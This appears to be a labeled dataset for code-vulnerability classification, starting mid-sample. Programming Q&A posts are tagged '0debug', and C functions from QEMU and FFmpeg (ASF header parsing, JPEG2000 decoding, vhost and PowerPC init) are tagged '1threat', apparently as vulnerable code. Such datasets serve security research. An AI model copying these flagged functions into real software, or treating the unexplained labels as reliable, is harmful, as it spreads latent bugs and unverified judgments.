value.</p></li> <li><p><strong>Error-inducing dummy value</strong></p> <pre><code>PATTERN = None </code></pre> <p>If a concrete class fails to define its own <code>PATTERN</code>, <code>parse</code> will raise an error, and the programmer gets what they deserve.</p></li> <li><p><strong>Do nothing.</strong> Basically a more hardcore variant of #4. There can be a note in the ABC's docstring somewhere, but the ABC itself shouldn't have anything in the way of a <code>PATTERN</code> attribute.</p></li> <li><p>Other???</p></li> </ol>
0debug
i want to get only the decimal value of the numbers divided by 200 : i want to get only the decimal value of the total. Per example X=900 Y=200 Q=X/Y = 4.50 // I want to get .50 from results
0debug
Class grouping in C# : My question seems weird and maybe not understandable. Sorry for my bad english. I have 3 classes called SmallStick, LongStick and OldShovel. Now I want a list of these classes in one class. Here are sample codes: My "Item" Classes: public class SmallStick : IItem { public string ItemName = "Small Stick"; public ItemType ItemType = ItemType.WEAPON; } public class LongStick : IItem { public string ItemName = "Long Stick"; public ItemType ItemType = ItemType.WEAPON; } public class OldShovel : IItem { public string ItemName = "Old Shovel"; public ItemType ItemType = ItemType.TOOL; } Now I want a class like this: public class Inventory { List</*Class that represents every kind of these Items above*/> Items = new List</*Class that repre...*/>(); } Please don't flag or downvote my question.
0debug
What is the difference between AssetImage and Image.asset - Flutter : <p>In my application, I use these 2 classes but I don't know which one I should prioritize.</p> <pre><code>Image.asset('icons/heart.png') AssetImage('icons/hear.png') </code></pre> <p>Maybe there is one who fetches the image faster.</p>
0debug
How do you swap character in an array in C#? : <pre><code>for (int i = 0; i &lt; s.Length -1; i++) { temp = s[i]; // no errors here s[i] = s[j]; //Property or indexer string.this[int] cannot be assigned to -- it is read only s[j] = temp; //Property or indexer string.this[int] cannot be assigned to -- it is read only } </code></pre> <p>I am dumb so please explain to me as if I was an 8 year old. Is this something you cannot do in C#? How do I fix this?</p>
0debug
static int v9fs_synth_mknod(FsContext *fs_ctx, V9fsPath *path, const char *buf, FsCred *credp) { errno = EPERM; return -1; }
1threat
static int flv_write_trailer(AVFormatContext *s) { int64_t file_size; AVIOContext *pb = s->pb; FLVContext *flv = s->priv_data; int i; for (i = 0; i < s->nb_streams; i++) { AVCodecContext *enc = s->streams[i]->codec; if (enc->codec_type == AVMEDIA_TYPE_VIDEO && enc->codec_id == CODEC_ID_H264) { put_avc_eos_tag(pb, flv->last_video_ts); } } file_size = avio_tell(pb); avio_seek(pb, flv->duration_offset, SEEK_SET); put_amf_double(pb, flv->duration / (double)1000); avio_seek(pb, flv->filesize_offset, SEEK_SET); put_amf_double(pb, file_size); avio_seek(pb, file_size, SEEK_SET); return 0; }
1threat
Organization db for blog posts with Mysql and Php : <p>I intend to write a blog for life stories. I will post my photos and text and share it with other people. At the very beginning there was a question, how to organize a database? I'm going to do so in the article would be a photo and text. While there is an option in my head - for each article - to make a new table, but I don’t know, are they doing this? But here I also have a question. Photos for one day can be 30 pieces, and maybe 0. There is an option to attach photos to the text, or vice versa, but I do not know how to be more literate. By this, I can not start work. I have to say that this is my first site, I will use mySQL + PHP.</p> <p>My try is this</p> <pre><code>id int(11) user_id int(11) datecreated timestamp dateupdated timestamp content text title varchar(255) h1 varchar(255) </code></pre> <p>But what about the images?</p> <p>Thank you very much</p>
0debug
List<comma-separated strings> => List<string>? : <p>Trying to come up with a LINQy way to do this, but nothing's coming to me.</p> <p>I have a List&lt;> of objects which include a property which is a comma-separated list of alpha codes:</p> <pre><code>lst[0].codes = "AA,BB,DD" lst[1].codes = "AA,DD,EE" lst[2].codes = "GG,JJ" </code></pre> <p>I'd like a list of those codes, hopefully in the form of a List of strings:</p> <pre><code>result = AA,BB,DD,EE,GG,JJ </code></pre> <p>Thanks for any direction.</p>
0debug
int vhost_dev_init(struct vhost_dev *hdev, int devfd, bool force) { uint64_t features; int r; if (devfd >= 0) { hdev->control = devfd; } else { hdev->control = open("/dev/vhost-net", O_RDWR); if (hdev->control < 0) { return -errno; } } r = ioctl(hdev->control, VHOST_SET_OWNER, NULL); if (r < 0) { goto fail; } r = ioctl(hdev->control, VHOST_GET_FEATURES, &features); if (r < 0) { goto fail; } hdev->features = features; hdev->client.set_memory = vhost_client_set_memory; hdev->client.sync_dirty_bitmap = vhost_client_sync_dirty_bitmap; hdev->client.migration_log = vhost_client_migration_log; hdev->client.log_start = NULL; hdev->client.log_stop = NULL; hdev->mem = g_malloc0(offsetof(struct vhost_memory, regions)); hdev->log = NULL; hdev->log_size = 0; hdev->log_enabled = false; hdev->started = false; cpu_register_phys_memory_client(&hdev->client); hdev->force = force; return 0; fail: r = -errno; close(hdev->control); return r; }
1threat
from math import tan, pi def perimeter_polygon(s,l): perimeter = s*l return perimeter
0debug
Reuse image built by one service in another service : <p>Let's say I have this project structure:</p> <pre><code>proj/ ├── docker │   └── myservice │   └── Dockerfile └── docker-compose.yml </code></pre> <p>And this is my <code>docker-compose.yml</code>: </p> <pre><code>version: '3' services: master: build: docker/myservice slave: image: proj_master depends_on: master </code></pre> <p>I want the <code>master</code> service to create an image, which will be used by the <code>master</code> and the <code>slave</code> services (with different parameters, not shown here). By trial and error I have found out that the slave must refer to the image <code>proj_master</code>.</p> <ul> <li>Where is this documented?</li> <li>Why do I need to make a reference to the <code>proj</code>? Usually a docker composer file is agnostic related to where it is located ...</li> </ul>
0debug
How to implement two methods one from each interfaces which contain more method definition? : <pre><code>interface Ia { void m1(); void m2(); } interface Ib { void m3(); void m4(); } </code></pre> <p>Here how to implement m1, and m3 in a class?</p>
0debug
static inline void RENAME(bgr16ToUV)(uint8_t *dstU, uint8_t *dstV, uint8_t *src1, uint8_t *src2, int width) { int i; assert(src1==src2); for(i=0; i<width; i++) { int d0= ((uint32_t*)src1)[i]; int dl= (d0&0x07E0F81F); int dh= ((d0>>5)&0x07C0F83F); int dh2= (dh>>11) + (dh<<21); int d= dh2 + dl; int b= d&0x7F; int r= (d>>11)&0x7F; int g= d>>21; dstU[i]= ((2*RU*r + GU*g + 2*BU*b)>>(RGB2YUV_SHIFT+1-2)) + 128; dstV[i]= ((2*RV*r + GV*g + 2*BV*b)>>(RGB2YUV_SHIFT+1-2)) + 128; } }
1threat
static void ppc_core99_init(MachineState *machine) { ram_addr_t ram_size = machine->ram_size; const char *kernel_filename = machine->kernel_filename; const char *kernel_cmdline = machine->kernel_cmdline; const char *initrd_filename = machine->initrd_filename; const char *boot_device = machine->boot_order; PowerPCCPU *cpu = NULL; CPUPPCState *env = NULL; char *filename; qemu_irq *pic, **openpic_irqs; MemoryRegion *isa = g_new(MemoryRegion, 1); MemoryRegion *unin_memory = g_new(MemoryRegion, 1); MemoryRegion *unin2_memory = g_new(MemoryRegion, 1); int linux_boot, i, j, k; MemoryRegion *ram = g_new(MemoryRegion, 1), *bios = g_new(MemoryRegion, 1); hwaddr kernel_base, initrd_base, cmdline_base = 0; long kernel_size, initrd_size; PCIBus *pci_bus; PCIDevice *macio; MACIOIDEState *macio_ide; BusState *adb_bus; MacIONVRAMState *nvr; int bios_size, ndrv_size; uint8_t *ndrv_file; MemoryRegion *pic_mem, *escc_mem; MemoryRegion *escc_bar = g_new(MemoryRegion, 1); int ppc_boot_device; DriveInfo *hd[MAX_IDE_BUS * MAX_IDE_DEVS]; void *fw_cfg; int machine_arch; SysBusDevice *s; DeviceState *dev; int *token = g_new(int, 1); hwaddr nvram_addr = 0xFFF04000; uint64_t tbfreq; linux_boot = (kernel_filename != NULL); if (machine->cpu_model == NULL) { #ifdef TARGET_PPC64 machine->cpu_model = "970fx"; #else machine->cpu_model = "G4"; #endif } for (i = 0; i < smp_cpus; i++) { cpu = POWERPC_CPU(cpu_generic_init(TYPE_POWERPC_CPU, machine->cpu_model)); if (cpu == NULL) { fprintf(stderr, "Unable to find PowerPC CPU definition\n"); exit(1); } env = &cpu->env; cpu_ppc_tb_init(env, TBFREQ); qemu_register_reset(ppc_core99_reset, cpu); } memory_region_allocate_system_memory(ram, NULL, "ppc_core99.ram", ram_size); memory_region_add_subregion(get_system_memory(), 0, ram); memory_region_init_ram(bios, NULL, "ppc_core99.bios", BIOS_SIZE, &error_fatal); if (bios_name == NULL) bios_name = PROM_FILENAME; filename = qemu_find_file(QEMU_FILE_TYPE_BIOS, bios_name); memory_region_set_readonly(bios, true); memory_region_add_subregion(get_system_memory(), PROM_ADDR, bios); if (filename) { bios_size = load_elf(filename, NULL, NULL, NULL, NULL, NULL, 1, PPC_ELF_MACHINE, 0, 0); g_free(filename); } else { bios_size = -1; } if (bios_size < 0 || bios_size > BIOS_SIZE) { error_report("could not load PowerPC bios '%s'", bios_name); exit(1); } if (linux_boot) { uint64_t lowaddr = 0; int bswap_needed; #ifdef BSWAP_NEEDED bswap_needed = 1; #else bswap_needed = 0; #endif kernel_base = KERNEL_LOAD_ADDR; kernel_size = load_elf(kernel_filename, translate_kernel_address, NULL, NULL, &lowaddr, NULL, 1, PPC_ELF_MACHINE, 0, 0); if (kernel_size < 0) kernel_size = load_aout(kernel_filename, kernel_base, ram_size - kernel_base, bswap_needed, TARGET_PAGE_SIZE); if (kernel_size < 0) kernel_size = load_image_targphys(kernel_filename, kernel_base, ram_size - kernel_base); if (kernel_size < 0) { error_report("could not load kernel '%s'", kernel_filename); exit(1); } if (initrd_filename) { initrd_base = round_page(kernel_base + kernel_size + KERNEL_GAP); initrd_size = load_image_targphys(initrd_filename, initrd_base, ram_size - initrd_base); if (initrd_size < 0) { error_report("could not load initial ram disk '%s'", initrd_filename); exit(1); } cmdline_base = round_page(initrd_base + initrd_size); } else { initrd_base = 0; initrd_size = 0; cmdline_base = round_page(kernel_base + kernel_size + KERNEL_GAP); } ppc_boot_device = 'm'; } else { kernel_base = 0; kernel_size = 0; initrd_base = 0; initrd_size = 0; ppc_boot_device = '\0'; for (i = 0; boot_device[i] != '\0'; i++) { if (boot_device[i] >= 'c' && boot_device[i] <= 'f') { ppc_boot_device = boot_device[i]; break; } } if (ppc_boot_device == '\0') { fprintf(stderr, "No valid boot device for Mac99 machine\n"); exit(1); } } memory_region_init_alias(isa, NULL, "isa_mmio", get_system_io(), 0, 0x00800000); memory_region_add_subregion(get_system_memory(), 0xf2000000, isa); memory_region_init_io(unin_memory, NULL, &unin_ops, token, "unin", 0x1000); memory_region_add_subregion(get_system_memory(), 0xf8000000, unin_memory); memory_region_init_io(unin2_memory, NULL, &unin_ops, token, "unin", 0x1000); memory_region_add_subregion(get_system_memory(), 0xf3000000, unin2_memory); openpic_irqs = g_malloc0(smp_cpus * sizeof(qemu_irq *)); openpic_irqs[0] = g_malloc0(smp_cpus * sizeof(qemu_irq) * OPENPIC_OUTPUT_NB); for (i = 0; i < smp_cpus; i++) { switch (PPC_INPUT(env)) { case PPC_FLAGS_INPUT_6xx: openpic_irqs[i] = openpic_irqs[0] + (i * OPENPIC_OUTPUT_NB); openpic_irqs[i][OPENPIC_OUTPUT_INT] = ((qemu_irq *)env->irq_inputs)[PPC6xx_INPUT_INT]; openpic_irqs[i][OPENPIC_OUTPUT_CINT] = ((qemu_irq *)env->irq_inputs)[PPC6xx_INPUT_INT]; openpic_irqs[i][OPENPIC_OUTPUT_MCK] = ((qemu_irq *)env->irq_inputs)[PPC6xx_INPUT_MCP]; openpic_irqs[i][OPENPIC_OUTPUT_DEBUG] = NULL; openpic_irqs[i][OPENPIC_OUTPUT_RESET] = ((qemu_irq *)env->irq_inputs)[PPC6xx_INPUT_HRESET]; break; #if defined(TARGET_PPC64) case PPC_FLAGS_INPUT_970: openpic_irqs[i] = openpic_irqs[0] + (i * OPENPIC_OUTPUT_NB); openpic_irqs[i][OPENPIC_OUTPUT_INT] = ((qemu_irq *)env->irq_inputs)[PPC970_INPUT_INT]; openpic_irqs[i][OPENPIC_OUTPUT_CINT] = ((qemu_irq *)env->irq_inputs)[PPC970_INPUT_INT]; openpic_irqs[i][OPENPIC_OUTPUT_MCK] = ((qemu_irq *)env->irq_inputs)[PPC970_INPUT_MCP]; openpic_irqs[i][OPENPIC_OUTPUT_DEBUG] = NULL; openpic_irqs[i][OPENPIC_OUTPUT_RESET] = ((qemu_irq *)env->irq_inputs)[PPC970_INPUT_HRESET]; break; #endif default: error_report("Bus model not supported on mac99 machine"); exit(1); } } pic = g_new0(qemu_irq, 64); dev = qdev_create(NULL, TYPE_OPENPIC); qdev_prop_set_uint32(dev, "model", OPENPIC_MODEL_RAVEN); qdev_init_nofail(dev); s = SYS_BUS_DEVICE(dev); pic_mem = s->mmio[0].memory; k = 0; for (i = 0; i < smp_cpus; i++) { for (j = 0; j < OPENPIC_OUTPUT_NB; j++) { sysbus_connect_irq(s, k++, openpic_irqs[i][j]); } } for (i = 0; i < 64; i++) { pic[i] = qdev_get_gpio_in(dev, i); } if (PPC_INPUT(env) == PPC_FLAGS_INPUT_970) { pci_bus = pci_pmac_u3_init(pic, get_system_memory(), get_system_io()); machine_arch = ARCH_MAC99_U3; } else { pci_bus = pci_pmac_init(pic, get_system_memory(), get_system_io()); machine_arch = ARCH_MAC99; } object_property_set_bool(OBJECT(pci_bus), true, "realized", &error_abort); machine->usb |= defaults_enabled() && !machine->usb_disabled; if (kvm_enabled()) { tbfreq = kvmppc_get_tbfreq(); } else { tbfreq = TBFREQ; } escc_mem = escc_init(0, pic[0x25], pic[0x24], serial_hds[0], serial_hds[1], ESCC_CLOCK, 4); memory_region_init_alias(escc_bar, NULL, "escc-bar", escc_mem, 0, memory_region_size(escc_mem)); macio = pci_create(pci_bus, -1, TYPE_NEWWORLD_MACIO); dev = DEVICE(macio); qdev_connect_gpio_out(dev, 0, pic[0x19]); qdev_connect_gpio_out(dev, 1, pic[0x0d]); qdev_connect_gpio_out(dev, 2, pic[0x02]); qdev_connect_gpio_out(dev, 3, pic[0x0e]); qdev_connect_gpio_out(dev, 4, pic[0x03]); qdev_prop_set_uint64(dev, "frequency", tbfreq); macio_init(macio, pic_mem, escc_bar); ide_drive_get(hd, ARRAY_SIZE(hd)); macio_ide = MACIO_IDE(object_resolve_path_component(OBJECT(macio), "ide[0]")); macio_ide_init_drives(macio_ide, hd); macio_ide = MACIO_IDE(object_resolve_path_component(OBJECT(macio), "ide[1]")); macio_ide_init_drives(macio_ide, &hd[MAX_IDE_DEVS]); dev = DEVICE(object_resolve_path_component(OBJECT(macio), "cuda")); adb_bus = qdev_get_child_bus(dev, "adb.0"); dev = qdev_create(adb_bus, TYPE_ADB_KEYBOARD); qdev_init_nofail(dev); dev = qdev_create(adb_bus, TYPE_ADB_MOUSE); qdev_init_nofail(dev); if (machine->usb) { pci_create_simple(pci_bus, -1, "pci-ohci"); if (machine_arch == ARCH_MAC99_U3) { USBBus *usb_bus = usb_bus_find(-1); usb_create_simple(usb_bus, "usb-kbd"); usb_create_simple(usb_bus, "usb-mouse"); } } pci_vga_init(pci_bus); if (graphic_depth != 15 && graphic_depth != 32 && graphic_depth != 8) { graphic_depth = 15; } for (i = 0; i < nb_nics; i++) { pci_nic_init_nofail(&nd_table[i], pci_bus, "ne2k_pci", NULL); } #ifdef CONFIG_KVM if (kvm_enabled() && getpagesize() > 4096) { nvram_addr = 0xFFE00000; } #endif dev = qdev_create(NULL, TYPE_MACIO_NVRAM); qdev_prop_set_uint32(dev, "size", 0x2000); qdev_prop_set_uint32(dev, "it_shift", 1); qdev_init_nofail(dev); sysbus_mmio_map(SYS_BUS_DEVICE(dev), 0, nvram_addr); nvr = MACIO_NVRAM(dev); pmac_format_nvram_partition(nvr, 0x2000); fw_cfg = fw_cfg_init_mem(CFG_ADDR, CFG_ADDR + 2); fw_cfg_add_i16(fw_cfg, FW_CFG_NB_CPUS, (uint16_t)smp_cpus); fw_cfg_add_i16(fw_cfg, FW_CFG_MAX_CPUS, (uint16_t)max_cpus); fw_cfg_add_i64(fw_cfg, FW_CFG_RAM_SIZE, (uint64_t)ram_size); fw_cfg_add_i16(fw_cfg, FW_CFG_MACHINE_ID, machine_arch); fw_cfg_add_i32(fw_cfg, FW_CFG_KERNEL_ADDR, kernel_base); fw_cfg_add_i32(fw_cfg, FW_CFG_KERNEL_SIZE, kernel_size); if (kernel_cmdline) { fw_cfg_add_i32(fw_cfg, FW_CFG_KERNEL_CMDLINE, cmdline_base); pstrcpy_targphys("cmdline", cmdline_base, TARGET_PAGE_SIZE, kernel_cmdline); } else { fw_cfg_add_i32(fw_cfg, FW_CFG_KERNEL_CMDLINE, 0); } fw_cfg_add_i32(fw_cfg, FW_CFG_INITRD_ADDR, initrd_base); fw_cfg_add_i32(fw_cfg, FW_CFG_INITRD_SIZE, initrd_size); fw_cfg_add_i16(fw_cfg, FW_CFG_BOOT_DEVICE, ppc_boot_device); fw_cfg_add_i16(fw_cfg, FW_CFG_PPC_WIDTH, graphic_width); fw_cfg_add_i16(fw_cfg, FW_CFG_PPC_HEIGHT, graphic_height); fw_cfg_add_i16(fw_cfg, FW_CFG_PPC_DEPTH, graphic_depth); fw_cfg_add_i32(fw_cfg, FW_CFG_PPC_IS_KVM, kvm_enabled()); if (kvm_enabled()) { #ifdef CONFIG_KVM uint8_t *hypercall; hypercall = g_malloc(16); kvmppc_get_hypercall(env, hypercall, 16); fw_cfg_add_bytes(fw_cfg, FW_CFG_PPC_KVM_HC, hypercall, 16); fw_cfg_add_i32(fw_cfg, FW_CFG_PPC_KVM_PID, getpid()); #endif } fw_cfg_add_i32(fw_cfg, FW_CFG_PPC_TBFREQ, tbfreq); fw_cfg_add_i32(fw_cfg, FW_CFG_PPC_CLOCKFREQ, CLOCKFREQ); fw_cfg_add_i32(fw_cfg, FW_CFG_PPC_BUSFREQ, BUSFREQ); fw_cfg_add_i32(fw_cfg, FW_CFG_PPC_NVRAM_ADDR, nvram_addr); filename = qemu_find_file(QEMU_FILE_TYPE_BIOS, NDRV_VGA_FILENAME); if (filename) { ndrv_size = get_image_size(filename); if (ndrv_size != -1) { ndrv_file = g_malloc(ndrv_size); ndrv_size = load_image(filename, ndrv_file); fw_cfg_add_file(fw_cfg, "ndrv/qemu_vga.ndrv", ndrv_file, ndrv_size); } g_free(filename); } qemu_register_boot_set(fw_cfg_boot_set, fw_cfg); }
1threat
void hid_reset(HIDState *hs) { switch (hs->kind) { case HID_KEYBOARD: memset(hs->kbd.keycodes, 0, sizeof(hs->kbd.keycodes)); memset(hs->kbd.key, 0, sizeof(hs->kbd.key)); hs->kbd.keys = 0; break; case HID_MOUSE: case HID_TABLET: memset(hs->ptr.queue, 0, sizeof(hs->ptr.queue)); break; } hs->head = 0; hs->n = 0; hs->protocol = 1; hs->idle = 0; hs->idle_pending = false; hid_del_idle_timer(hs); }
1threat
static void cmd_read_toc_pma_atip(IDEState *s, uint8_t* buf) { int format, msf, start_track, len; uint64_t total_sectors = s->nb_sectors >> 2; int max_len; if (total_sectors == 0) { ide_atapi_cmd_error(s, SENSE_NOT_READY, ASC_MEDIUM_NOT_PRESENT); return; } max_len = ube16_to_cpu(buf + 7); format = buf[9] >> 6; msf = (buf[1] >> 1) & 1; start_track = buf[6]; switch(format) { case 0: len = cdrom_read_toc(total_sectors, buf, msf, start_track); if (len < 0) goto error_cmd; ide_atapi_cmd_reply(s, len, max_len); break; case 1: memset(buf, 0, 12); buf[1] = 0x0a; buf[2] = 0x01; buf[3] = 0x01; ide_atapi_cmd_reply(s, 12, max_len); break; case 2: len = cdrom_read_toc_raw(total_sectors, buf, msf, start_track); if (len < 0) goto error_cmd; ide_atapi_cmd_reply(s, len, max_len); break; default: error_cmd: ide_atapi_cmd_error(s, SENSE_ILLEGAL_REQUEST, ASC_INV_FIELD_IN_CMD_PACKET); } }
1threat
static int jpeg2000_read_bitstream_packets(Jpeg2000DecoderContext *s) { int ret = 0; int tileno; for (tileno = 0; tileno < s->numXtiles * s->numYtiles; tileno++) { Jpeg2000Tile *tile = s->tile + tileno; if (ret = init_tile(s, tileno)) return ret; s->g = tile->tile_part[0].tpg; if (ret = jpeg2000_decode_packets(s, tile)) return ret; } return 0; }
1threat
How to instantiate a class within an C++ implementation file? : <p>I am trying to make use of some features of a third-party tool written in C++ and thought to just create a make file and include the sources of the tool. That was easy enough, but then I ran into some class declarations that were nested in an implementation file (*.cpp). </p> <p>The problem is, I would like to make use of those class declarations but not sure how. I have this *.cpp file in a library now and would like to include AClass in my app sources and link against this library.</p> <p>Here is an example of how the file (cclass.cpp) in this package is laid out.</p> <pre><code>#include "cclass.h" class AClass { ... }; int ClassC::getNumber() { AClass ac; int num = ac.useIt(); return num; } </code></pre> <p>Is there a way to include AClass in my app and have this app link against a library which has cclass.cpp in it?</p>
0debug
Youtube-dl add metadata during audio conversion : <p>Sorry if this question is misguided. I'm using youtube-dl to download song videos as mp3's before adding them to itunes. The problem is that the videos dont seem to contain the metadata in there. I read what i could about --add-metadata option but from what i understand this option is only used to add the ids if they are already in the video? I know the artist and song title so Id like a way to add it in directly if possible. Something to the effect --add-metadata-artist "Pink Floyd" Is that possible with the current configuration options?I saw this related issue but it didnt really help <a href="https://github.com/rg3/youtube-dl/issues/1570" rel="noreferrer">https://github.com/rg3/youtube-dl/issues/1570</a> Here are my current configuration settings:</p> <pre><code>options = { 'format':'bestaudio/best', 'extractaudio':True, 'audioformat':'mp3', 'outtmpl':'%(id)s.%(ext)s', #name the file the ID of the video 'noplaylist':True, 'nocheckcertificate':True, 'proxy':"", 'addmetadata':True, 'postprocessors': [{ 'key': 'FFmpegExtractAudio', 'preferredcodec': 'mp3', 'preferredquality': '192', }] } </code></pre>
0debug
static void qio_channel_socket_dgram_worker_free(gpointer opaque) { struct QIOChannelSocketDGramWorkerData *data = opaque; qapi_free_SocketAddressLegacy(data->localAddr); qapi_free_SocketAddressLegacy(data->remoteAddr); g_free(data); }
1threat
void qjson_finish(QJSON *json) { json_end_object(json); }
1threat
'router-outlet' is not a known element in angular2 : <p>I've just created a new angular project using the Angular CLI and scaffolded a new route and I am getting error as :</p> <p>'router-outlet' is not a known element</p> <p>Can anyone help me ?</p>
0debug
static int asf_read_header(AVFormatContext *s) { ASFContext *asf = s->priv_data; ff_asf_guid g; AVIOContext *pb = s->pb; int i; int64_t gsize; ff_get_guid(pb, &g); if (ff_guidcmp(&g, &ff_asf_header)) return AVERROR_INVALIDDATA; avio_rl64(pb); avio_rl32(pb); avio_r8(pb); avio_r8(pb); memset(&asf->asfid2avid, -1, sizeof(asf->asfid2avid)); for (i = 0; i<128; i++) asf->streams[i].stream_language_index = 128; for (;;) { uint64_t gpos = avio_tell(pb); ff_get_guid(pb, &g); gsize = avio_rl64(pb); print_guid(&g); if (!ff_guidcmp(&g, &ff_asf_data_header)) { asf->data_object_offset = avio_tell(pb); if (!(asf->hdr.flags & 0x01) && gsize >= 100) asf->data_object_size = gsize - 24; else asf->data_object_size = (uint64_t)-1; break; } if (gsize < 24) return AVERROR_INVALIDDATA; if (!ff_guidcmp(&g, &ff_asf_file_header)) { int ret = asf_read_file_properties(s, gsize); if (ret < 0) return ret; } else if (!ff_guidcmp(&g, &ff_asf_stream_header)) { int ret = asf_read_stream_properties(s, gsize); if (ret < 0) return ret; } else if (!ff_guidcmp(&g, &ff_asf_comment_header)) { asf_read_content_desc(s, gsize); } else if (!ff_guidcmp(&g, &ff_asf_language_guid)) { asf_read_language_list(s, gsize); } else if (!ff_guidcmp(&g, &ff_asf_extended_content_header)) { asf_read_ext_content_desc(s, gsize); } else if (!ff_guidcmp(&g, &ff_asf_metadata_header)) { asf_read_metadata(s, gsize); } else if (!ff_guidcmp(&g, &ff_asf_metadata_library_header)) { asf_read_metadata(s, gsize); } else if (!ff_guidcmp(&g, &ff_asf_ext_stream_header)) { asf_read_ext_stream_properties(s, gsize); continue; } else if (!ff_guidcmp(&g, &ff_asf_head1_guid)) { ff_get_guid(pb, &g); avio_skip(pb, 6); continue; } else if (!ff_guidcmp(&g, &ff_asf_marker_header)) { asf_read_marker(s, gsize); } else if (avio_feof(pb)) { return AVERROR_EOF; } else { if (!s->keylen) { if (!ff_guidcmp(&g, &ff_asf_content_encryption)) { unsigned int len; int ret; AVPacket pkt; av_log(s, AV_LOG_WARNING, "DRM protected stream detected, decoding will likely fail!\n"); len= avio_rl32(pb); av_log(s, AV_LOG_DEBUG, "Secret data:\n"); if ((ret = av_get_packet(pb, &pkt, len)) < 0) return ret; av_hex_dump_log(s, AV_LOG_DEBUG, pkt.data, pkt.size); av_free_packet(&pkt); len= avio_rl32(pb); get_tag(s, "ASF_Protection_Type", -1, len, 32); len= avio_rl32(pb); get_tag(s, "ASF_Key_ID", -1, len, 32); len= avio_rl32(pb); get_tag(s, "ASF_License_URL", -1, len, 32); } else if (!ff_guidcmp(&g, &ff_asf_ext_content_encryption)) { av_log(s, AV_LOG_WARNING, "Ext DRM protected stream detected, decoding will likely fail!\n"); av_dict_set(&s->metadata, "encryption", "ASF Extended Content Encryption", 0); } else if (!ff_guidcmp(&g, &ff_asf_digital_signature)) { av_log(s, AV_LOG_INFO, "Digital signature detected!\n"); } } } if (avio_tell(pb) != gpos + gsize) av_log(s, AV_LOG_DEBUG, "gpos mismatch our pos=%"PRIu64", end=%"PRId64"\n", avio_tell(pb) - gpos, gsize); avio_seek(pb, gpos + gsize, SEEK_SET); } ff_get_guid(pb, &g); avio_rl64(pb); avio_r8(pb); avio_r8(pb); if (avio_feof(pb)) return AVERROR_EOF; asf->data_offset = avio_tell(pb); asf->packet_size_left = 0; for (i = 0; i < 128; i++) { int stream_num = asf->asfid2avid[i]; if (stream_num >= 0) { AVStream *st = s->streams[stream_num]; if (!st->codec->bit_rate) st->codec->bit_rate = asf->stream_bitrates[i]; if (asf->dar[i].num > 0 && asf->dar[i].den > 0) { av_reduce(&st->sample_aspect_ratio.num, &st->sample_aspect_ratio.den, asf->dar[i].num, asf->dar[i].den, INT_MAX); } else if ((asf->dar[0].num > 0) && (asf->dar[0].den > 0) && (st->codec->codec_type == AVMEDIA_TYPE_VIDEO)) av_reduce(&st->sample_aspect_ratio.num, &st->sample_aspect_ratio.den, asf->dar[0].num, asf->dar[0].den, INT_MAX); av_log(s, AV_LOG_TRACE, "i=%d, st->codec->codec_type:%d, asf->dar %d:%d sar=%d:%d\n", i, st->codec->codec_type, asf->dar[i].num, asf->dar[i].den, st->sample_aspect_ratio.num, st->sample_aspect_ratio.den); if (asf->streams[i].stream_language_index < 128) { const char *rfc1766 = asf->stream_languages[asf->streams[i].stream_language_index]; if (rfc1766 && strlen(rfc1766) > 1) { const char primary_tag[3] = { rfc1766[0], rfc1766[1], '\0' }; const char *iso6392 = av_convert_lang_to(primary_tag, AV_LANG_ISO639_2_BIBL); if (iso6392) av_dict_set(&st->metadata, "language", iso6392, 0); } } } } ff_metadata_conv(&s->metadata, NULL, ff_asf_metadata_conv); return 0; }
1threat
Grovy ALM HpQC - How to fill ST_ACTUAL design step field : i try to update HpQC result from SOAP-UI groovy script but i'm currently unable to modify ST_ACTUAL field of design Step, only to read the current value for my try, i have 2 steps under a test Could you help to solve my issue and tell me where i'm wrong in advance, thanks a lot for your help and answer <code> //############# Connexion a HpQC ############### def tdc = new ActiveXObject ('TDApiOle80.TDConnection') tdc.InitConnectionEx(addresse_qc) tdc.Login(login_qc, psw_qc) tdc.Connect(domain_qc, project_qc) log.info "*** connected to QC ***" //Catch the testSet campain in the Test Lab oTestSetFolder = tdc.TestSetTreeManager.NodeByPath(chemin_dans_qc) list_TestSetList = oTestSetFolder.FindTestSets(testSet_name_qc) oTestSet = list_TestSetList.Item(1) //catch the test list in the Test Lab oTestSetFactory = oTestSet.TSTestFactory testList = oTestSetFactory.NewList("") def nb_test = testList.Count() // select first test (item(1) -- Current status test Run - should be "No Run" selected_test = testList.Item(1) log.info("OnGoing test : " + "ID="+ selected_test.ID +" - "+ selected_test.name + " - status= "+selected_test.Status) // Create a new Test Run and modified final status for try OnGoing_RunTest= selected_test.RunFactory.AddItem('Comment 1') OnGoing_RunTest.Status = 'Blocked' def b=OnGoing_RunTest.ID OnGoing_RunTest.Post() OnGoing_RunTest.CopyDesignSteps() OnGoing_RunTest.Post() Stepslist_of_OnGoing_RunTest = OnGoing_RunTest.StepFactory.NewList("") //def nbsteps= Stepslist_of_OnGoing_RunTest.count() def c=1 for(designStep in Stepslist_of_OnGoing_RunTest) { // lecture designStep def a=designStep.ID // checking previous information : ok //log.info("DesignStep_ID="+designStep.ID) //log.info("ST_STEP_NAME = "+ designStep.field("ST_STEP_NAME")) //log.info("ST_STATUS = "+ designStep.field("ST_STATUS")) //log.info("ST_DESCRIPTION = "+ designStep.field("ST_DESCRIPTION")) //log.info("ST_EXPECTED = "+ designStep.field("ST_EXPECTED")) // updating Status and ST_ACTUAL field designStep.Status="Not Completed" // : OK // Updating ST_ACTUAL field // designStep.Field("ST_ACTUAL")="123" // => KO //designStep.item(c).Field("ST_ACTUAL")="123" // ==> KO // designStep.item(designStep.ID).Field("ST_ACTUAL")="123" // ==> KO // designStep.item(designStep.ID).Field("ST_ACTUAL")="123" // ==> KO c++ log.info("ST_ACTUAL = "+ designStep.field("ST_ACTUAL")) designStep.post() } //Updating Run QC selected_test.Post() log.info("*** ---- END Test --- ***") //######### déconnection de QC ############ tdc.Disconnect() //On écrit dans le log log.info("### -- QC disconnect -- ### -- END -- ###") </code>
0debug
Create matrix from predefined cells in Excel/VBA : Good afternoon, i'm quite new to VBA and Excel and i'm having the following problem. I have a function that requires a symetric matrix as input to calculate the eigenvalue [=MEigenvalueMax (A1: C3)]. However, I have the data for the matrix in different cells. My question is therefore whether there is a function with which I can define predefined cells as a matrix, e. g. =MEigenvalMax ({A1, A2, A3; B1, B2, B3; C1, C2, C3}). Thank you for the answers!
0debug
